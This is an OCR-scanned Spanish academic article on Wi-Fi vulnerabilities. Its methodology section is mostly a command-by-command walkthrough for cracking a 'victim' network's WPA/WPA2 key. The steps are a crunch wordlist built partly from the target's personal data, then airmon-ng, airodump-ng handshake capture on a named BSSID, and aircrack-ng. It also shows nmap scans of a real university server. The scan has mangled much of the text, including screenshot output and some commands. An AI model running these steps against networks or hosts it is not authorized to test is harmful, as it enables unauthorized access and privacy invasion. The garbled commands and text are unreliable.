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Resumen: El presente trabajo es realizado para analizar las vulnerabilidades a las que estan
expuestas las redes inalambricas de alta velocidad conocidas cominmente como Redes WI-FI, asi
como los métodos que brindan cierto grado de seguridad a estas redes. Los diferentes métodos de
seguridad que pueden ser aplicados a redes inalambricas se tratan en el segundo capitulo; estos
medios son: autenticacion de usuario, encriptacion, lista de control de acceso o filtrado de
direcciones MAC, WEP y WPA.. A continuacion, se describen las vulnerabilidades de las redes
WI-FI, se definen las caracteristicas de los diferentes tipos de ataques a los que las redes estan
sujetos, ademas se enumeran los problemas concretos que pueden volver insegura una red
inalambrica.

Palabras clave: Redes, WI-FI, Ataques, Vulnerabilidades.
Violate WPA and WPA2 security with AIRCRACK

Abstract: This work is carried out to analyze the vulnerabilities to which high-speed wireless
networks commonly known as WI-FI Networks are exposed, as well as the methods that provide
a certain degree of security to these networks. The different security methods that can be applied
to wireless networks are covered in the second chapter; These means are: user authentication,
encryption, access control list or MAC address filtering, WEP and WPA. Next, the vulnerabilities
of WI-FI networks are described, the characteristics of the different types of attacks to which the
networks are subject are defined, and the specific problems that can make a wireless network

insecure are listed.
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1. INTRODUCCION

La mayoria de los problemas de seguridad son
causados intencionalmente por gente maliciosa que
intenta ganar algo o hacer dafio a alguien, los cuales
pueden provenir tanto de gente externa o de
miembros internos de la empresa. Najera-Gutierrez,
G., & Ansari, J. A. (2018).

La seguridad, por tanto, implica ser mas competente
que adversarios a menudo inteligentes y dedicados.
Ramachandran, V., & Buchanan, C. (2015)
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Las redes inalambricas de area local (WLAN) tienen
un papel cada vez mas importante en las
comunicaciones del mundo de hoy. Acosta-Lopez,
A., Melo-Monroy, E. Y., & Linares-Murcia, P. A.
(2018)

Debido a su facilidad de instalacion y conexion, se
han convertido en una excelente alternativa para
ofrecer conectividad en lugares donde resulta
inconveniente o imposible brindar servicio con una
red alambrada, pero al mismo tiempo han generado
una serie de amenazas que atentan contra la
seguridad de las redes.
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Aspectos generales de las WLAN

El acceso sin necesidad de cables, la razon que hace
tan populares a las redes inalambricas, es tan facil,
que cualquier equipo que se encuentre a 100 metros
0 menos de un punto de acceso, podria ingresar a la
red inalambrica. Roy, D., Moazzami, K., & Singh,
R. (2007)

Durante el transcurrir del tiempo y con el fin de
mejorar la seguridad, velocidad y cubrimiento,
aparecen diferentes estando res para las WLAN,
desarrollados por la IEEE, como son 802.11 a, 802
11b,802.11¢,802.111,802.11¢,802.11hY 802
A1

Problemas encontrados

El rango de las redes WLAN con frecuencia es de
algunos cientos de metros, pero intrusos pueden
aprovechar esta situacion para hacer de los suyos.

Por ejemplo, el 7 de septiembre del 2001, el IEEE
declar6 que WEP era inseguro, por lo cual en los
ultimos afios se gener6 WPA (WI-FI Protected
Access) y WPA2 (WI-FI Protected Access 2).
WPAZ2 esté basado en el nuevo estdndar 802.11 i.
WPA, por ser una version previa, no incluye todas
las caracteristicas del IEEE 802.11 i, mientras que
WPAZ2 se puede inferir que es la version certificada
del estandar 802.11 i.

Kali Linux

Kali Linux es una distribucién de Linux basada en
Debian destinada a pruebas avanzadas de
penetracién y auditoria de seguridad, contiene
varios cientos de herramientas orientadas a diversas
tareas de seguridad de la informacion, como pruebas
de penetracion, investigaciéon de seguridad,
informaética forense e ingenieria inversa. Kali Linux
estd desarrollado, financiado y mantenido por
Offensive  Security, una empresa lider en
capacitacion en seguridad de la informacion. Meyer,
U., & Wetzel, S. (2004)

Kali Linux fue lanzado el 13 de marzo de 2013
como una reconstruccion completa de BackTrack
Linux, cumpliendo completamente con los
estandares de desarrollo de Debian. Diehl, M. WEP
Vulnerability Testing.
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Herramientas Kali Linux

Aircrack-ng: Aircrack-ng es un programa de
descifrado de claves 802.11 WEP y WPA-PSK que
puede recuperar claves una vez que se han capturado
suficientes paquetes de datos. Implementa el ataque
estandar de FMS junto con algunas optimizaciones
como los ataques KoreK, asi como el nuevo ataque
de PTW, lo que hace que el ataque sea mucho mas
rapido en comparacion con otras herramientas de
craqueo WEP. Lyon, G. F. (2009)

Aireplay-ng: Aireplay-ng estd incluido en el
paquete aircrack-ng y se usa para inyectar cuadros
inalambricos, su funcién principal es generar tréfico
para su posterior uso en aircrack-ng para descifrar
claves WEP y WPA-PSK. Aireplay-ng tiene
muchos ataques que pueden desautenticar a los
clientes inaldmbricos con el fin de capturar los datos
de protocolo de enlace WPA, autenticaciones falsas,
repeticién de paquetes interactivos, inyeccién de
solicitud ARP hecha a mano y reinyeccion de
solicitudes ARP.

2. METODOLOGIA
Deteccién de vulnerabilidades

En conjunto con lo expuesto en el presente
documento, se procede se realizar un ataque WPA /
WPA 2 a las redes inaldmbricas.

En primer lugar se procede a la preparacion del
entorno. Los ataques mencionados se los realizara
en el sistema operativo Kali Linux. Para su
instalacion, seguir los siguientes pasos.

Descargar la imagen 1SO de Kali Linux de la pagina
oficial https://www.kali.org/downloads/.
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Kali Linux Downloads

wr 4800

Download Kali Linux Images

We generate fresh Kali Linux image files every few months, which we make available for download. This page provides the
links to download Kali Linux in its latest official release. For a release history, check our Kali Linux Releases page. Please
note: You can find unofficial, untested weekly releases at http://cdimage.kali.org/kali-weekly/.

Image Name Download | Size = Version sha256sum

Kali 64 bit HTTP | Torrent | 2.86

- Download Kali Linux 64 bit 150 s

Kali 64 hit lisht | HTTP | Tarrent | .86
cdimage kali.org/.../kali-linux-2017.3-amd64.s0

llustracion 1 Pagina de descarga Kali Linux
Fuente: Autores Naranjo Kerly

2017.3 395bc0af107806e5hB6edc6acdar1 fIGcaatd4rd65831abf2TI3ce51b73968d

Kali 32 bit 1d2453d552c984a9308e2cecar 3aB2e8ad9638d6919714827@3dfc3085F 24243

2017.3 9822441649247, 97838019754008623¢58a60 1

Cargar el sistema operativo en un dispositivo USB.
Se recomienda usar Rufus o Lili Linux para el
booteo del USB.

& Rufus 2.18.1213
Dispositivo
CMAN-5D [G:] [T 7GE]
Tipo de particion y del sistema destino
Tipo de particion MER para BIOS o UEFI
Sistema de archivos
FAT32 (Por defecto)
Tamafio del cldster
4096 bytes (Por defecto)

Etiqueta nueva

| Kall Live

Opciones de formateo <27
|:| Buscar blogues dafiados en USE
Formateo rapido

Crear disco de arrangue con

1 paso

Imagen |50
Aﬁadir etiquetas extendidas e iconos

PREPARADO

Usando la imagen 150: kali-linux-2017.1-amd&4d.iso

Acerca de.., Histaorial Cerrar

#*

llustracién 2 Bootear el sistema operativo
Fuente: Autores Naranjo Kerly

Entrar la BIOS de la computadora donde se pretende
instalar Kali Linux y seleccionar el arranque desde
el dispositivo USB. Garcia Duefias, M. (2010)
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EIOZ SETUF UTILITY

[ SATABM-WDL WES0D]

lHustracion 3 BIOS del ordenador
Fuente: Autores Naranjo Kerly

Una vez arrancado desde el dispositivo USB, en la
primera interfaz que muestra Kali Linux seleccionar
el modo Live.

llustracion 4 Interfaz inicial de Kali Linux
Fuente: Autores Naranjo Kerly

3. RESULTADOS Y DISCUSION
Descifrar claves WPA 'y WPA2

Este proceso consiste en enviar un ataque al router
victima y desconectar un dispositivo conectado a la
red de la victima. Cuando el dispositivo vuelva a
conectarse, interceptar el ingreso de la contrasefia y
generar el WPA Handshake, que es la contrasefia
encriptada de la victima. Introducir un diccionario
personalizado generado con Kali Linux y comparar
palabra por palabra con la contrasefia encriptada
obtenida. Mufioz Villa, D. G. (2006)
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Una vez que se encuentra la contraseiia se puede
utilizar la red a la que se realizé el ataque.

Procedimiento

1. Crear un diccionario personalizado con Kali
Linux para una victima predeterminada en base
a informacion (nombre, fecha de nacimiento,
equipo de futbol, nimero de cédula) que se
obtiene de la misma. Lashkari, A. H., Danesh,
M. M. S., & Samadi, B. (2009)

Iniciar una terminal en Kali Linux y ejecutar el
siguiente comando para crear el diccionario, el
cual contendra 100000000 lineas o
combinaciones entre nameros del 0 al 9.

# crunch min max (simbolos)

diccionario.lst

-0

File Edit View Search Terminal Help
:~# crunch 8 8 0123456789 -o diccionario.lst
Crunch will now generate the following amount of data: 900000000 bytes
858 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000000

crunch: 21% completed generating output

crunch: 42% completed generating output
crunch: 62% completed generating output

crunch: 81% completed generating output

crunch: 100% completed generating output

lustracion 5 Crear un diccionario
Fuente: Autores Naranjo Kerly

En una nueva terminal ejecutar el comando
airmon-ng para listar las interfaces de red
inalambrica instaladas en el ordenador.

# airmon-ng

:~# airmon-ng

Interface Driver Chipset

rt18723be

Realtek Semiconductor Co., Ltd. RTL8723BE PCIe

wlan@

:'#D

llustracion 6 Listar las interfaces de red
Fuente: Autores Naranjo Kerly

Configurar la placa de red en modo monitor
para poder realizar el proceso de hackeo de
contrasefa.

24

ISSN: 2773-7489

Correo: editor@istvidanueva.edu.ec

URL: http://nexoscientificos.vidanueva.edu.ec/index.php/ojs/index
Fecha de aceptacidn: noviembre 2018

ifconfig wlan0O down
iwconfig wlanO mode monitor
ifconfig wlanO up

airmon-ng start wlanO

HH H= FH FH

g stops working
t to run 'airmon-ng

after
check kill'

Interface Driver Chipset

wlan® rt18723be Realtek Semiconductor Co., Ltd. RTL8723BE PCIe Wireless Network Adapter

(mac80211 monitor mode vif enabled for [phy8]wlan® on [phy@]wlanémon)
(mac80211 station mode vif disabled for [phy8]wlang)

~# ]
lHustracioén 7 Configurar la placa en modo monitor
Fuente: Autores Naranjo Kerly

4. Mostrar la tabla del estado de los dispositivos
W.Lan detectados, con el comando:

# airodump-ng mon0

root@Kali: ~

File Edit View Search Terminal Help

CH 14 ][ Elapsed: 6 s ][ 2018-01-29 15:35

PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
Bosl -1
0 11 54e. WPA2 CCMP  MGT
e 6 -1
6 11 54 OPN

<length: 6>
eduroam
<length: 6>
linksys
MGT eduroam
EPN-INVITADO
alexander
EPN-LA100
EPN-INVITADO
PIS02
MDavila
PISO01

1 5de.
Sde.
54

Sde.
Sde.
Sde.
S5de.
Sde
Sde.

WPA2 CCMP
OPN

WPA2 CCMP
WPA2 CCMP
OPN

WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
WPA2 CCMP
WPA2 CCMP

PSK
MGT

PSK
PSK
PSK
MGT
MGT
PSK
PSK

EPN-LA100
EPN-LA100
1AFNALINKNET366
Lab. Soft

1
6
1
11
3
5
11
11
11
2
11

:~# airodump-ng []

lustracion 8 Tabla de dispositivos WLAN
Fuente: Autores Naranjo Kerly

La seccion resaltada en color blanco muestra la
victima escogida para la demostracion del presente
ataque.

5. Identificar el ESSID de la victima y con el
siguiente comando filtrar inicamente la red de
interés y las estaciones conectadas a la misma.

# airodump-ng -c canal -w
nombre archivo -bssid MACVictima
interfaz

:~# airodump-ng ~C

:~# airodump-ng -c 11 -w wpa2 --bssid 64:5A:04:84:3B:A0 wlan@mon|
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root@kall: ~

File Edit View Search

Terminal Help

CH 11 ][ Elapsed: 36 s 1-29 15:37

BSSID PWR RXQ #Data, #/s CH MB ENC CIPHER AUTH ESSID

64:5A:04:84:3B:A0 -15 100 306 29 1 11 54e. WPA2 CCMP  PSK seguridadl

BSSID STATION PWR  Rate Lost Frames Probe

64:5A:04:84:3B:A0 50:68:0A:06:FE:82 -21

0 -11 [} 38

lustracion 9 Detalle de la red victima
Fuente: Autores Naranjo Kerly

6. Finalmente, el comando aircrack-ng permite
recorrer el diccionario hasta encontrar la clave
de la victima.

# aircrack-ng -w diccionario - b 1la
MAC victima

EAPOL HMAC 57 20 AF 53 D4 7A 51 E6 68
¢

lustracion 20 Clave de la victima encontrada
Fuente: Autores Naranjo Kerly

Mapeo de puertos

El mapeo de puertos consiste en escanear los
puertos y estados de cada de uno de ellos para una
red WLAN especifica. Para realizar este proceso se
utiliza la herramienta NMAP de Kali Linux, la cual
sirve para hacer auditorias de seguridad de los
puertos, siendo lo principal la tabla de estados, estos
pueden ser:

e Closed: Cerrado
e Open: Abierto
e Filtred: Filtrado
e Unfiltred: No Filtrado
Procedimiento
1. Detectar que la herramienta NMAP se

encuentre instalada en el ordenador con Kali
Linux desde donde se pretende realizar el
mapeo.
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Files ~
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Screenshot  Screenshot ~ Screenshot
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01-28 13- 01-28 13- 01-28 13-

T 49-31png  50-28png  52-33.png

fs’ unix-pi

7 - Reverse Engineering ves...

itation Tools

11- Forensics
12 - Reporting Tools

gineering Tools

lHustracion 31 Herramienta NMAP en Kali Linux
Fuente: Autores Naranjo Kerly

2.

Identificar la direccion IP a la que se quiere
escanear los puertos.

root@kali: ~

File Edit View Search Terminal Help

:~# ping www.epn.edu.ec
PING www.epn.edu.ec (190.96.111.144) 56(84) bytes of data.
64 bytes from www.epn.edu.ec (IECHE[JFWEIEY): icmp seq=1 ttl=241 time=1124 ms
64 bytes from www.epn.edu.ec (190.96.111.144): icmp_seq=2 ttl1=241 time=151 ms
64 bytes from www.epn.edu.ec (190.96.111.144): icmp_seq=3 tt1=241 time=34.6 ms
2C

--- www.epn.edu.ec ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2010ms

rtt min/avg/max/mdev = 34.639/436.799/1124.624/488.685 ms, pipe 2
~# ~C

~# |:|

llustracion 42 Direcciones IP victimas
Fuente: Autores Naranjo Kerly

3. En una terminal de Kali Linux ejecutar el
comando nmap -p [puertos] [host] para listar la
tabla de puertos y sus estados.

# nmap -p [puertos] [host]

root@kali: ~

(- JNC N
File Edit View Search Terminal Help
64 bytes from www.epn.edu.ec (190.96.111.144): icmp_seq=2 ttl=241 time=151 ms
64 bytes from www.epn.edu.ec (190.96.111.144): icmp seq=3 ttl1=241 time=34.6 ms
2C
-- www.epn.edu.ec ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2010ms
rtt min/avg/max/mdev = 34.639/436.799/1124.624/488.685 ms, pipe 2
ol AC

:~# nmap -sT -PN -p 20,21,22,25,53,80,139,145 190.96.111.144

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-28 13:50 UTC
Nmap scan report for www.epn.edu.ec (190.96.111.144)
Host is up (0.080s latency).

STATE SERVICE

filtered ftp-data

filtered ftp

filtered ssh

filtered smtp

filtered domain

open http
139/tcp filtered netbios-ssn
145/tcp filtered uaac

Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds
~#

lustracion 53 Tabla de puertos y estados
Fuente: Autores Naranjo Kerly
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root@kali: ~

File Edit View Search Terminal Help
64 bytes from 192.168.0.1: icmp seq=1 ttl=64 time=1.53 ms
64 bytes from 192.168.0.1: icmp seq=2 ttl1=64 time=2.43 ms
~C
-- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 1.533/1.984/2.435/0.451 ms
:~# nmap -sT -PN -p 20,21,22,25,53,80,139,145 192.168.0.1

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-28 13:59 UTC
Nmap scan report for 192.168.0.1
Host is up (0.0029s latency).

STATE SERVICE

closed ftp-data

closed ftp

closed ssh

closed smtp

closed domain

open http
139/tcp closed netbios-ssn
145/tcp closed uaac

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

lustracion 64 Tabla de puertos y estados
Fuente: Autores Naranjo Kerly

4. CONCLUSIONES

Las redes inalambricas presentan muchas
vulnerabilidades.

Las principales ventajas de las redes WI-FI son
la movilidad que ofrecen a los usuarios, ya que
no los ata a un punto en especifico, y también
la facilidad de acceso a redes abiertas e
inclusive redes semiseguras 0 seguras
utilizando los permisos necesarios.

Los software o sistemas operativos como Kali
Linux, son desarrollados para atacar las
vulnerabilidades de las redes WLAN, con el
objetivo de fortalecer la red luego de identificar
la debilidad.

Para mejorar la seguridad de las redes WLAN,
existen las herramientas de modos de
autentificacion del sistema abierto y de llave
compartida, el Identificador del Juego de
Servicios (Service Set Identifier-SSID), WEP,
WPA, WPA2, filtrado de direcciones MAC,
VPN sy proteccion mediante 802.1x.

La tecnologia inaldmbrica es el suefio de todo
espia: datos gratuitos sin tener que hacer nada.

Un intruso puede colocar un equipo
inaldmbrico para que grabe todo lo que oiga,
evadiendo de esta manera los firewal Is de la
compafiia. Por ello es importante tener muy en
cuenta las protecciones con los equipos
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inaldmbricos (portatiles, acces point, etc) que se
encuentren dentro de la compafiia.

Existen précticas bien conocidas para localizar
redes inaldmbricas: el warchalking y el
wardriving.

WLAN es una tecnologia podriamos decir que
“nueva”, pero en este corto periodo de vida la
evolucion constante que ha tenido, y que sigue
teniendo, hara que el numero de usuarios
domésticos y empresarial siga aumentando.

Los tipos de ataques que puede sufrir una red
WI-FI pueden ser pasivos 0 activos; en el caso
MITM el intruso solamente husmea la red para
obtener informacion, en el segundo caso la
situacion es mas delicado ya que el intruso
puede alterar la informacion o inclusive puede
impedir que un usuario autorizado haga uso de
la red.
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